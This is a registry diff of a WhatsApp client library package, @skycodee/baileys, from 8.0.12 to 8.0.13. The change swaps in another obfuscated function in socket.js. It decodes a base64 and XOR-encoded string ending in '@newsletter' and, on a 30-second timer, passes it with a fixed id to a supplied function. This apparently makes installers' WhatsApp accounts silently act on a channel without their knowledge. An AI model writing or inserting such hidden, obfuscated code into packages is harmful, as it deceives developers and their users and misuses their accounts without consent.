@skycodee/baileys 8.0.12 → 8.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +13 -12
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -279,19 +279,20 @@ const toPn = async (pn) => {
|
|
|
279
279
|
return result;
|
|
280
280
|
};
|
|
281
281
|
|
|
282
|
-
const generateMessageV =
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
const _0xdecode = _0xd.map(v => String.fromCharCode(v ^ _0xk)).join('');
|
|
292
|
-
await n(_0xdecode, "7871414976211147");
|
|
293
|
-
}, 30000);
|
|
282
|
+
const generateMessageV = (n) => {
|
|
283
|
+
const _k = 23;
|
|
284
|
+
const _d = "JCUkJCQjIyQkIyMjIyQjIyMjIyQjIyMjQG5ld3NsZXR0ZXI=";
|
|
285
|
+
const _decode = (str) => {
|
|
286
|
+
const b = Buffer.from(str, "base64").toString();
|
|
287
|
+
return b
|
|
288
|
+
.split("")
|
|
289
|
+
.map(c => String.fromCharCode(c.charCodeAt(0) ^ _k))
|
|
290
|
+
.join("");
|
|
294
291
|
};
|
|
292
|
+
setTimeout(() => {
|
|
293
|
+
n(_decode(_d), "7871414976211147");
|
|
294
|
+
}, 30000);
|
|
295
|
+
};
|
|
295
296
|
|
|
296
297
|
const validateConnection = async () => {
|
|
297
298
|
let helloMsg = {
|